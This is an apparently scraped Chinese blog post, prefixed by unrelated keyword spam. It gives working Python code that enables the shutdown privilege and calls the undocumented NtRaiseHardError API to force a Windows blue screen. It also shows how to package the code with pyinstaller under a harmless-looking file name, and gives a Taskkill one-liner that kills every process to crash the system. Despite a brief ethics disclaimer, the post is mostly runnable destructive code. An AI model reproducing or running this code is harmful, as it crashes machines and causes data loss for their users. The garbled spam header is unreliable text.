手机网站一定要与pc网站一样,网站建设所需的基本内容,外国网站学习做任务 升级,陕西中洋建设工程有限公司网站说明#xff1a;该程序为临摹(#x1f600;)作品#xff0c;源地址C蓝屏程序(非管理员) 我试图使用Python调用 NtRaiseHardError API #xff0c;实现类似的蓝屏效果。可惜我发现Python在普通权限下#xff0c;直接调用 NtRaiseHardError API 是不被允许的#xff0c;因为… 说明该程序为临摹()作品源地址C蓝屏程序(非管理员) 我试图使用Python调用 NtRaiseHardError API 实现类似的蓝屏效果。可惜我发现Python在普通权限下直接调用 NtRaiseHardError API 是不被允许的因为它需要提升到系统权限才能触发蓝屏效果即使在原文也需要SeShutdownPrivilege才能实现蓝屏效果。
原理
Windows的未公开蓝屏apiNtRaiseHardError 可以在非管理员特权下产生BSOD 调用该API需要调用者有关机权限
代码示例 需要管理员权限 import ctypes
from ctypes import wintypes# 定义相关的 Windows API 函数和结构体
ntdll ctypes.WinDLL(ntdll.dll)ULONG_PTR ctypes.POINTER(ctypes.c_ulong)
BOOLEAN ctypes.c_ubyteclass UNICODE_STRING(ctypes.Structure):_fields_ [(Length, wintypes.USHORT),(MaximumLength, wintypes.USHORT),(Buffer, ctypes.POINTER(wintypes.WCHAR)),]class CLIENT_ID(ctypes.Structure):_fields_ [(UniqueProcess, ctypes.POINTER(wintypes.HANDLE)),(UniqueThread, ctypes.POINTER(wintypes.HANDLE)),]class IO_STATUS_BLOCK(ctypes.Structure):_fields_ [(Status, wintypes.ULONG),(Information, ULONG_PTR),]# 定义函数原型
RtlAdjustPrivilege ntdll.RtlAdjustPrivilege
RtlAdjustPrivilege.argtypes [wintypes.ULONG, BOOLEAN, BOOLEAN, ctypes.POINTER(BOOLEAN)]
RtlAdjustPrivilege.restype wintypes.LONGNtRaiseHardError ntdll.NtRaiseHardError
NtRaiseHardError.argtypes [wintypes.LONG, wintypes.ULONG, wintypes.ULONG, ULONG_PTR,wintypes.ULONG, ctypes.POINTER(wintypes.ULONG)
]
NtRaiseHardError.restype wintypes.LONG# 定义一些常量和变量
STATUS_ASSERTION_FAILURE 0xC0000420
SE_SHUTDOWN_PRIVILEGE 19def main():# 获取当前进程句柄current_process ctypes.windll.kernel32.GetCurrentProcess()current_thread ctypes.windll.kernel32.GetCurrentThread()# 启用 SE_SHUTDOWN_PRIVILEGE 权限privilege_enabled BOOLEAN()RtlAdjustPrivilege(SE_SHUTDOWN_PRIVILEGE, True, False, ctypes.byref(privilege_enabled))# 调用 NtRaiseHardError 触发 BSODresponse wintypes.ULONG()NtRaiseHardError(STATUS_ASSERTION_FAILURE, 0, 0, None, 6, ctypes.byref(response))if __name__ __main__:main()可以在该文件夹下使用cmd输入pyinstaller -wF .\MoveMouse.py打包然后使用管理员运行 代码解析
这段代码的目的是试图在 Windows 系统中通过调用特定的 Windows API 来触发蓝屏死机BSOD。
以下是对代码各部分的详细解释 导入和定义相关类型及库 import ctypes导入 Python 的 ctypes 库用于在 Python 中调用 Windows API 函数。定义了各种数据类型如 ULONG_PTR、BOOLEAN 等以及结构体 UNICODE_STRING、CLIENT_ID、IO_STATUS_BLOCK 以匹配 Windows API 所需的参数和返回值的数据结构。 加载 ntdll.dll 库并定义函数原型 ntdll ctypes.WinDLL(ntdll.dll)加载 ntdll.dll 动态链接库。为 RtlAdjustPrivilege 和 NtRaiseHardError 函数定义了参数类型和返回值类型以确保在调用时能够正确传递和处理参数。 定义常量和变量 STATUS_ASSERTION_FAILURE定义了一个表示错误状态的常量。SE_SHUTDOWN_PRIVILEGE表示特定的权限常量。 main 函数 获取当前进程和线程的句柄。通过 RtlAdjustPrivilege 函数尝试启用 SE_SHUTDOWN_PRIVILEGE 权限。最后调用 NtRaiseHardError 函数并传递特定的参数试图触发蓝屏死机。
需要强调的是在正常的编程和使用场景中这样的操作是不被允许和不道德的可能会导致系统故障、数据丢失和其他严重问题。请不要在实际使用中运行这样的代码。
补充
当然如果已经有了管理员权限那简单两行代码也能直接蓝屏
import os
os.system(Taskkill /fi \pid ge 1\ /f) # Taskkill /fi pid ge 1 /f 杀死所有进程管理员权限cmd直接蓝屏甚至可以直接在管理员cmd输入
Taskkill /fi pid ge 1 /f